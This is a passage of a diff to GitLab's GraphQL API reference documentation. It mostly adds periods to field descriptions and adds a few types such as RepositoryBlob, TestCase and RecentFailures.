[`Boolean!`](#boolean) | Indicates the user can perform `update_pipeline` on this resource | +| `adminPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_pipeline` on this resource. | +| `destroyPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pipeline` on this resource. | +| `updatePipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pipeline` on this resource. | ### `PipelineRetryPayload` @@ -4683,7 +4993,7 @@ An edge in a connection. | `alertManagementIntegrations` | [`AlertManagementIntegrationConnection`](#alertmanagementintegrationconnection) | Integrations which can receive alerts for the project. | | `alertManagementPayloadFields` | [`[AlertManagementPayloadAlertField!]`](#alertmanagementpayloadalertfield) | Extract alert fields from payload for custom mapping. | | `allowMergeOnSkippedPipeline` | [`Boolean`](#boolean) | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs. | -| `apiFuzzingCiConfiguration` | [`ApiFuzzingCiConfiguration`](#apifuzzingciconfiguration) | API fuzzing configuration for the project. Available only when feature flag `api_fuzzing_configuration_ui` is enabled. | +| `apiFuzzingCiConfiguration` | [`ApiFuzzingCiConfiguration`](#apifuzzingciconfiguration) | API fuzzing configuration for the project. | | `archived` | [`Boolean`](#boolean) | Indicates the archived status of the project. | | `autocloseReferencedIssues` | [`Boolean`](#boolean) | Indicates if issues referenced by merge requests and commits within the default branch are closed automatically. | | `avatarUrl` | [`String`](#string) | URL to avatar image file of the project. | @@ -4705,7 +5015,7 @@ An edge in a connection. | `dastSiteProfiles` | [`DastSiteProfileConnection`](#dastsiteprofileconnection) | DAST Site Profiles associated with the project. | | `dastSiteValidations` | [`DastSiteValidationConnection`](#dastsitevalidationconnection) | DAST Site Validations associated with the project. | | `description` | [`String`](#string) | Short description of the project. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `environment` | [`Environment`](#environment) | A single environment of the project. | | `environments` | [`EnvironmentConnection`](#environmentconnection) | Environments of the project. | | `forksCount` | [`Int!`](#int) | Number of times the project has been forked. | @@ -4719,11 +5029,12 @@ An edge in a connection. | `issue` | [`Issue`](#issue) | A single issue of the project. | | `issueStatusCounts` | [`IssueStatusCountsType`](#issuestatuscountstype) | Counts of issues by status for the project. | | `issues` | [`IssueConnection`](#issueconnection) | Issues of the project. | -| `issuesEnabled` | [`Boolean`](#boolean) | Indicates if Issues are enabled for the current user | +| `issuesEnabled` | [`Boolean`](#boolean) | Indicates if Issues are enabled for the current user. | | `iterationCadences` | [`IterationCadenceConnection`](#iterationcadenceconnection) | Find iteration cadences. | | `iterations` | [`IterationConnection`](#iterationconnection) | Find iterations. | | `jiraImportStatus` | [`String`](#string) | Status of Jira import background job of the project. | | `jiraImports` | [`JiraImportConnection`](#jiraimportconnection) | Jira imports into the project. | +| `jobs` | [`CiJobConnection`](#cijobconnection) | Jobs of a project. This field can only be resolved for one project in any single request. | | `jobsEnabled` | [`Boolean`](#boolean) | Indicates if CI/CD pipeline jobs are enabled for the current user. | | `label` | [`Label`](#label) | A label available on this project. | | `labels` | [`LabelConnection`](#labelconnection) | Labels available on this project. | @@ -4731,7 +5042,7 @@ An edge in a connection. | `lfsEnabled` | [`Boolean`](#boolean) | Indicates if the project has Large File Storage (LFS) enabled. | | `mergeRequest` | [`MergeRequest`](#mergerequest) | A single merge request of the project. | | `mergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests of the project. | -| `mergeRequestsEnabled` | [`Boolean`](#boolean) | Indicates if Merge Requests are enabled for the current user | +| `mergeRequestsEnabled` | [`Boolean`](#boolean) | Indicates if Merge Requests are enabled for the current user. | | `mergeRequestsFfOnlyEnabled` | [`Boolean`](#boolean) | Indicates if no merge commits should be created and all merges should instead be fast-forwarded, which means that merging is only allowed if the branch could be fast-forwarded. | | `milestones` | [`MilestoneConnection`](#milestoneconnection) | Milestones of the project. | | `name` | [`String!`](#string) | Name of the project (without namespace). | @@ -4768,7 +5079,7 @@ An edge in a connection. | `services` | [`ServiceConnection`](#serviceconnection) | Project services. | | `sharedRunnersEnabled` | [`Boolean`](#boolean) | Indicates if shared runners are enabled for the project. | | `snippets` | [`SnippetConnection`](#snippetconnection) | Snippets of the project. | -| `snippetsEnabled` | [`Boolean`](#boolean) | Indicates if Snippets are enabled for the current user | +| `snippetsEnabled` | [`Boolean`](#boolean) | Indicates if Snippets are enabled for the current user. | | `squashReadOnly` | [`Boolean!`](#boolean) | Indicates if `squashReadOnly` is enabled. | | `sshUrlToRepo` | [`String`](#string) | URL to connect to the project via SSH. | | `starCount` | [`Int!`](#int) | Number of times the project has been starred. | @@ -4777,14 +5088,14 @@ An edge in a connection. | `tagList` | [`String`](#string) | List of project topics (not Git tags). | | `terraformState` | [`TerraformState`](#terraformstate) | Find a single Terraform state by name. | | `terraformStates` | [`TerraformStateConnection`](#terraformstateconnection) | Terraform states associated with the project. | -| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource. | | `visibility` | [`String`](#string) | Visibility of the project. | | `vulnerabilities` | [`VulnerabilityConnection`](#vulnerabilityconnection) | Vulnerabilities reported on the project. | | `vulnerabilitiesCountByDay` | [`VulnerabilitiesCountByDayConnection`](#vulnerabilitiescountbydayconnection) | Number of vulnerabilities per day for the project. | | `vulnerabilityScanners` | [`VulnerabilityScannerConnection`](#vulnerabilityscannerconnection) | Vulnerability scanners reported on the project vulnerabilities. | | `vulnerabilitySeveritiesCount` | [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount) | Counts for each vulnerability severity in the project. | | `webUrl` | [`String`](#string) | Web URL of the project. | -| `wikiEnabled` | [`Boolean`](#boolean) | Indicates if Wikis are enabled for the current user | +| `wikiEnabled` | [`Boolean`](#boolean) | Indicates if Wikis are enabled for the current user. | ### `ProjectCiCdSetting` @@ -4828,7 +5139,7 @@ Represents a Project Membership. | `project` | [`Project`](#project) | Project that User is a member of. | | `updatedAt` | [`Time`](#time) | Date and time the membership was last updated. | | `user` | [`User!`](#user) | User that is associated with the member object. | -| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource. | ### `ProjectMemberConnection` @@ -4853,48 +5164,48 @@ An edge in a connection. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminOperations` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_operations` on this resource | -| `adminProject` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_project` on this resource | -| `adminRemoteMirror` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_remote_mirror` on this resource | -| `adminWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_wiki` on this resource | -| `archiveProject` | [`Boolean!`](#boolean) | Indicates the user can perform `archive_project` on this resource | -| `changeNamespace` | [`Boolean!`](#boolean) | Indicates the user can perform `change_namespace` on this resource | -| `changeVisibilityLevel` | [`Boolean!`](#boolean) | Indicates the user can perform `change_visibility_level` on this resource | -| `createDeployment` | [`Boolean!`](#boolean) | Indicates the user can perform `create_deployment` on this resource | -| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource | -| `createIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `create_issue` on this resource | -| `createLabel` | [`Boolean!`](#boolean) | Indicates the user can perform `create_label` on this resource | -| `createMergeRequestFrom` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_from` on this resource | -| `createMergeRequestIn` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_in` on this resource | -| `createPages` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pages` on this resource | -| `createPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline` on this resource | -| `createPipelineSchedule` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline_schedule` on this resource | -| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource | -| `createWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `create_wiki` on this resource | -| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource | -| `destroyPages` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pages` on this resource | -| `destroyWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_wiki` on this resource | -| `downloadCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_code` on this resource | -| `downloadWikiCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_wiki_code` on this resource | -| `forkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `fork_project` on this resource | -| `pushCode` | [`Boolean!`](#boolean) | Indicates the user can perform `push_code` on this resource | -| `pushToDeleteProtectedBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_delete_protected_branch` on this resource | -| `readCommitStatus` | [`Boolean!`](#boolean) | Indicates the user can perform `read_commit_status` on this resource | -| `readCycleAnalytics` | [`Boolean!`](#boolean) | Indicates the user can perform `read_cycle_analytics` on this resource | -| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource | -| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource | -| `readPagesContent` | [`Boolean!`](#boolean) | Indicates the user can perform `read_pages_content` on this resource | -| `readProject` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project` on this resource | -| `readProjectMember` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project_member` on this resource | -| `readWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `read_wiki` on this resource | -| `removeForkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_fork_project` on this resource | -| `removePages` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_pages` on this resource | -| `removeProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_project` on this resource | -| `renameProject` | [`Boolean!`](#boolean) | Indicates the user can perform `rename_project` on this resource | -| `requestAccess` | [`Boolean!`](#boolean) | Indicates the user can perform `request_access` on this resource | -| `updatePages` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pages` on this resource | -| `updateWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `update_wiki` on this resource | -| `uploadFile` | [`Boolean!`](#boolean) | Indicates the user can perform `upload_file` on this resource | +| `adminOperations` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_operations` on this resource. | +| `adminProject` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_project` on this resource. | +| `adminRemoteMirror` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_remote_mirror` on this resource. | +| `adminWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_wiki` on this resource. | +| `archiveProject` | [`Boolean!`](#boolean) | Indicates the user can perform `archive_project` on this resource. | +| `changeNamespace` | [`Boolean!`](#boolean) | Indicates the user can perform `change_namespace` on this resource. | +| `changeVisibilityLevel` | [`Boolean!`](#boolean) | Indicates the user can perform `change_visibility_level` on this resource. | +| `createDeployment` | [`Boolean!`](#boolean) | Indicates the user can perform `create_deployment` on this resource. | +| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource. | +| `createIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `create_issue` on this resource. | +| `createLabel` | [`Boolean!`](#boolean) | Indicates the user can perform `create_label` on this resource. | +| `createMergeRequestFrom` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_from` on this resource. | +| `createMergeRequestIn` | [`Boolean!`](#boolean) | Indicates the user can perform `create_merge_request_in` on this resource. | +| `createPages` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pages` on this resource. | +| `createPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline` on this resource. | +| `createPipelineSchedule` | [`Boolean!`](#boolean) | Indicates the user can perform `create_pipeline_schedule` on this resource. | +| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource. | +| `createWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `create_wiki` on this resource. | +| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource. | +| `destroyPages` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pages` on this resource. | +| `destroyWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_wiki` on this resource. | +| `downloadCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_code` on this resource. | +| `downloadWikiCode` | [`Boolean!`](#boolean) | Indicates the user can perform `download_wiki_code` on this resource. | +| `forkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `fork_project` on this resource. | +| `pushCode` | [`Boolean!`](#boolean) | Indicates the user can perform `push_code` on this resource. | +| `pushToDeleteProtectedBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_delete_protected_branch` on this resource. | +| `readCommitStatus` | [`Boolean!`](#boolean) | Indicates the user can perform `read_commit_status` on this resource. | +| `readCycleAnalytics` | [`Boolean!`](#boolean) | Indicates the user can perform `read_cycle_analytics` on this resource. | +| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource. | +| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource. | +| `readPagesContent` | [`Boolean!`](#boolean) | Indicates the user can perform `read_pages_content` on this resource. | +| `readProject` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project` on this resource. | +| `readProjectMember` | [`Boolean!`](#boolean) | Indicates the user can perform `read_project_member` on this resource. | +| `readWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `read_wiki` on this resource. | +| `removeForkProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_fork_project` on this resource. | +| `removePages` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_pages` on this resource. | +| `removeProject` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_project` on this resource. | +| `renameProject` | [`Boolean!`](#boolean) | Indicates the user can perform `rename_project` on this resource. | +| `requestAccess` | [`Boolean!`](#boolean) | Indicates the user can perform `request_access` on this resource. | +| `updatePages` | [`Boolean!`](#boolean) | Indicates the user can perform `update_pages` on this resource. | +| `updateWiki` | [`Boolean!`](#boolean) | Indicates the user can perform `update_wiki` on this resource. | +| `uploadFile` | [`Boolean!`](#boolean) | Indicates the user can perform `upload_file` on this resource. | ### `ProjectStatistics` @@ -4968,6 +5279,15 @@ Represents rules that commit pushes must follow. | ----- | ---- | ----------- | | `rejectUnsignedCommits` | [`Boolean!`](#boolean) | Indicates whether commits not signed through GPG will be rejected. | +### `RecentFailures` + +Recent failure history of a test case. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `baseBranch` | [`String`](#string) | Name of the base branch of the project. | +| `count` | [`Int`](#int) | Number of times the test case has failed in the past 14 days. | + ### `Release` Represents a release. @@ -4979,7 +5299,7 @@ Represents a release. | `commit` | [`Commit`](#commit) | The commit associated with the release. | | `createdAt` | [`Time`](#time) | Timestamp of when the release was created. | | `description` | [`String`](#string) | Description (also known as "release notes") of the release. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `evidences` | [`ReleaseEvidenceConnection`](#releaseevidenceconnection) | Evidence for the release. | | `links` | [`ReleaseLinks`](#releaselinks) | Links of the release. | | `milestones` | [`MilestoneConnection`](#milestoneconnection) | Milestones associated to the release. | @@ -5022,6 +5342,16 @@ Autogenerated return type of ReleaseAssetLinkCreate. | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | `link` | [`ReleaseAssetLink`](#releaseassetlink) | The asset link after mutation. | +### `ReleaseAssetLinkDeletePayload` + +Autogenerated return type of ReleaseAssetLinkDelete. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| `link` | [`ReleaseAssetLink`](#releaseassetlink) | The deleted release asset link. | + ### `ReleaseAssetLinkEdge` An edge in a connection. @@ -5204,11 +5534,44 @@ Autogenerated return type of RepositionImageDiffNote. | Field | Type | Description | | ----- | ---- | ----------- | +| `blobs` | [`RepositoryBlobConnection`](#repositoryblobconnection) | Blobs contained within the repository. | +| `branchNames` | [`[String!]`](#string) | Names of branches available in this repository that match the search pattern. | | `empty` | [`Boolean!`](#boolean) | Indicates repository has no visible content. | | `exists` | [`Boolean!`](#boolean) | Indicates a corresponding Git repository exists on disk. | | `rootRef` | [`String`](#string) | Default branch of the repository. | | `tree` | [`Tree`](#tree) | Tree of the repository. | +### `RepositoryBlob` + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `id` | [`ID!`](#id) | ID of the blob. | +| `lfsOid` | [`String`](#string) | LFS OID of the blob. | +| `mode` | [`String`](#string) | Blob mode. | +| `name` | [`String`](#string) | Blob name. | +| `oid` | [`String!`](#string) | OID of the blob. | +| `path` | [`String!`](#string) | Path of the blob. | +| `webPath` | [`String`](#string) | Web path of the blob. | + +### `RepositoryBlobConnection` + +The connection type for RepositoryBlob. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `edges` | [`[RepositoryBlobEdge]`](#repositoryblobedge) | A list of edges. | +| `nodes` | [`[RepositoryBlob]`](#repositoryblob) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `RepositoryBlobEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`RepositoryBlob`](#repositoryblob) | The item at the end of the edge. | + ### `Requirement` Represents a requirement. @@ -5218,7 +5581,7 @@ Represents a requirement. | `author` | [`User!`](#user) | Author of the requirement. | | `createdAt` | [`Time!`](#time) | Timestamp of when the requirement was created. | | `description` | [`String`](#string) | Description of the requirement. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `id` | [`ID!`](#id) | ID of the requirement. | | `iid` | [`ID!`](#id) | Internal ID of the requirement. | | `lastTestReportManuallyCreated` | [`Boolean`](#boolean) | Indicates if latest test report was created by user. | @@ -5227,9 +5590,9 @@ Represents a requirement. | `state` | [`RequirementState!`](#requirementstate) | State of the requirement. | | `testReports` | [`TestReportConnection`](#testreportconnection) | Test reports of the requirement. | | `title` | [`String`](#string) | Title of the requirement. | -| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `updatedAt` | [`Time!`](#time) | Timestamp of when the requirement was last updated. | -| `userPermissions` | [`RequirementPermissions!`](#requirementpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`RequirementPermissions!`](#requirementpermissions) | Permissions for the current user on the resource. | ### `RequirementConnection` @@ -5256,11 +5619,11 @@ Check permissions for the current user on a requirement. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_requirement` on this resource | -| `createRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `create_requirement` on this resource | -| `destroyRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_requirement` on this resource | -| `readRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `read_requirement` on this resource | -| `updateRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `update_requirement` on this resource | +| `adminRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_requirement` on this resource. | +| `createRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `create_requirement` on this resource. | +| `destroyRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_requirement` on this resource. | +| `readRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `read_requirement` on this resource. | +| `updateRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `update_requirement` on this resource. | ### `RequirementStatesCount` @@ -5530,13 +5893,13 @@ Represents summary of a security report. | Field | Type | Description | | ----- | ---- | ----------- | -| `apiFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `api_fuzzing` scan | -| `containerScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `container_scanning` scan | -| `coverageFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `coverage_fuzzing` scan | -| `dast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dast` scan | -| `dependencyScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dependency_scanning` scan | -| `sast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `sast` scan | -| `secretDetection` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `secret_detection` scan | +| `apiFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `api_fuzzing` scan. | +| `containerScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `container_scanning` scan. | +| `coverageFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `coverage_fuzzing` scan. | +| `dast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dast` scan. | +| `dependencyScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dependency_scanning` scan. | +| `sast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `sast` scan. | +| `secretDetection` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `secret_detection` scan. | ### `SecurityReportSummarySection` @@ -5722,11 +6085,11 @@ Represents a snippet entry. | Field | Type | Description | | ----- | ---- | ----------- | | `author` | [`User`](#user) | The owner of the snippet. | -| `blob` **{warning-solid}** | [`SnippetBlob!`](#snippetblob) | **Deprecated:** Use `blobs`. Deprecated in 13.3. | +| `blob` **{warning-solid}** | [`SnippetBlob!`](#snippetblob) | **Deprecated** in 13.3. Use `blobs`. | | `blobs` | [`SnippetBlobConnection`](#snippetblobconnection) | Snippet blobs. | | `createdAt` | [`Time!`](#time) | Timestamp this snippet was created. | | `description` | [`String`](#string) | Description of the snippet. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. | | `fileName` | [`String`](#string) | File Name of the snippet. | | `httpUrlToRepo` | [`String`](#string) | HTTP URL to the snippet repository. | @@ -5737,7 +6100,7 @@ Represents a snippet entry. | `sshUrlToRepo` | [`String`](#string) | SSH URL to the snippet repository. | | `title` | [`String!`](#string) | Title of the snippet. | | `updatedAt` | [`Time!`](#time) | Timestamp this snippet was updated. | -| `userPermissions` | [`SnippetPermissions!`](#snippetpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`SnippetPermissions!`](#snippetpermissions) | Permissions for the current user on the resource. | | `visibilityLevel` | [`VisibilityLevelsEnum!`](#visibilitylevelsenum) | Visibility Level of the snippet. | | `webUrl` | [`String!`](#string) | Web URL of the snippet. | @@ -5816,12 +6179,12 @@ An edge in a connection. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_snippet` on this resource | -| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource | -| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource | -| `readSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `read_snippet` on this resource | -| `reportSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `report_snippet` on this resource | -| `updateSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `update_snippet` on this resource | +| `adminSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_snippet` on this resource. | +| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource. | +| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. | +| `readSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `read_snippet` on this resource. | +| `reportSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `report_snippet` on this resource. | +| `updateSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `update_snippet` on this resource. | ### `SnippetRepositoryRegistry` @@ -5829,14 +6192,14 @@ Represents the Geo sync and verification state of a snippet repository. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | [`Time`](#time) | Timestamp when the SnippetRepositoryRegistry was created | -| `id` | [`ID!`](#id) | ID of the SnippetRepositoryRegistry | -| `lastSyncFailure` | [`String`](#string) | Error message during sync of the SnippetRepositoryRegistry | -| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the SnippetRepositoryRegistry | -| `retryAt` | [`Time`](#time) | Timestamp after which the SnippetRepositoryRegistry should be resynced | -| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the SnippetRepositoryRegistry | +| `createdAt` | [`Time`](#time) | Timestamp when the SnippetRepositoryRegistry was created. | +| `id` | [`ID!`](#id) | ID of the SnippetRepositoryRegistry. | +| `lastSyncFailure` | [`String`](#string) | Error message during sync of the SnippetRepositoryRegistry. | +| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the SnippetRepositoryRegistry. | +| `retryAt` | [`Time`](#time) | Timestamp after which the SnippetRepositoryRegistry should be resynced. | +| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the SnippetRepositoryRegistry. | | `snippetRepositoryId` | [`ID!`](#id) | ID of the Snippet Repository. | -| `state` | [`RegistryState`](#registrystate) | Sync state of the SnippetRepositoryRegistry | +| `state` | [`RegistryState`](#registrystate) | Sync state of the SnippetRepositoryRegistry. | ### `SnippetRepositoryRegistryConnection` @@ -5985,13 +6348,13 @@ Represents the Geo sync and verification state of a terraform state version. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | [`Time`](#time) | Timestamp when the TerraformStateVersionRegistry was created | -| `id` | [`ID!`](#id) | ID of the TerraformStateVersionRegistry | -| `lastSyncFailure` | [`String`](#string) | Error message during sync of the TerraformStateVersionRegistry | -| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the TerraformStateVersionRegistry | -| `retryAt` | [`Time`](#time) | Timestamp after which the TerraformStateVersionRegistry should be resynced | -| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the TerraformStateVersionRegistry | -| `state` | [`RegistryState`](#registrystate) | Sync state of the TerraformStateVersionRegistry | +| `createdAt` | [`Time`](#time) | Timestamp when the TerraformStateVersionRegistry was created. | +| `id` | [`ID!`](#id) | ID of the TerraformStateVersionRegistry. | +| `lastSyncFailure` | [`String`](#string) | Error message during sync of the TerraformStateVersionRegistry. | +| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the TerraformStateVersionRegistry. | +| `retryAt` | [`Time`](#time) | Timestamp after which the TerraformStateVersionRegistry should be resynced. | +| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the TerraformStateVersionRegistry. | +| `state` | [`RegistryState`](#registrystate) | Sync state of the TerraformStateVersionRegistry. | | `terraformStateVersionId` | [`ID!`](#id) | ID of the terraform state version. | ### `TerraformStateVersionRegistryConnection` @@ -6013,6 +6376,42 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`TerraformStateVersionRegistry`](#terraformstateversionregistry) | The item at the end of the edge. | +### `TestCase` + +Test case in pipeline test report. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `attachmentUrl` | [`String`](#string) | URL of the test case attachment file. | +| `classname` | [`String`](#string) | Classname of the test case. | +| `executionTime` | [`Float`](#float) | Test case execution time in seconds. | +| `file` | [`String`](#string) | Path to the file of the test case. | +| `name` | [`String`](#string) | Name of the test case. | +| `recentFailures` | [`RecentFailures`](#recentfailures) | Recent failure history of the test case on the base branch. | +| `stackTrace` | [`String`](#string) | Stack trace of the test case. | +| `status` | [`TestCaseStatus`](#testcasestatus) | Status of the test case (error, failed, success, skipped). | +| `systemOutput` | [`String`](#string) | System output of the test case. | + +### `TestCaseConnection` + +The connection type for TestCase. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `count` | [`Int!`](#int) | Total count of collection. | +| `edges` | [`[TestCaseEdge]`](#testcaseedge) | A list of edges. | +| `nodes` | [`[TestCase]`](#testcase) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `TestCaseEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`TestCase`](#testcase) | The item at the end of the edge. | + ### `TestReport` Represents a requirement test report. @@ -6043,6 +6442,81 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`TestReport`](#testreport) | The item at the end of the edge. | +### `TestReportSummary` + +Test report for a pipeline. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `testSuites` | [`TestSuiteSummaryConnection!`](#testsuitesummaryconnection) | Test suites belonging to a pipeline test report. | +| `total` | [`TestReportTotal!`](#testreporttotal) | Total report statistics for a pipeline test report. | + +### `TestReportTotal` + +Total test report statistics. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `count` | [`Int`](#int) | Total number of the test cases. | +| `error` | 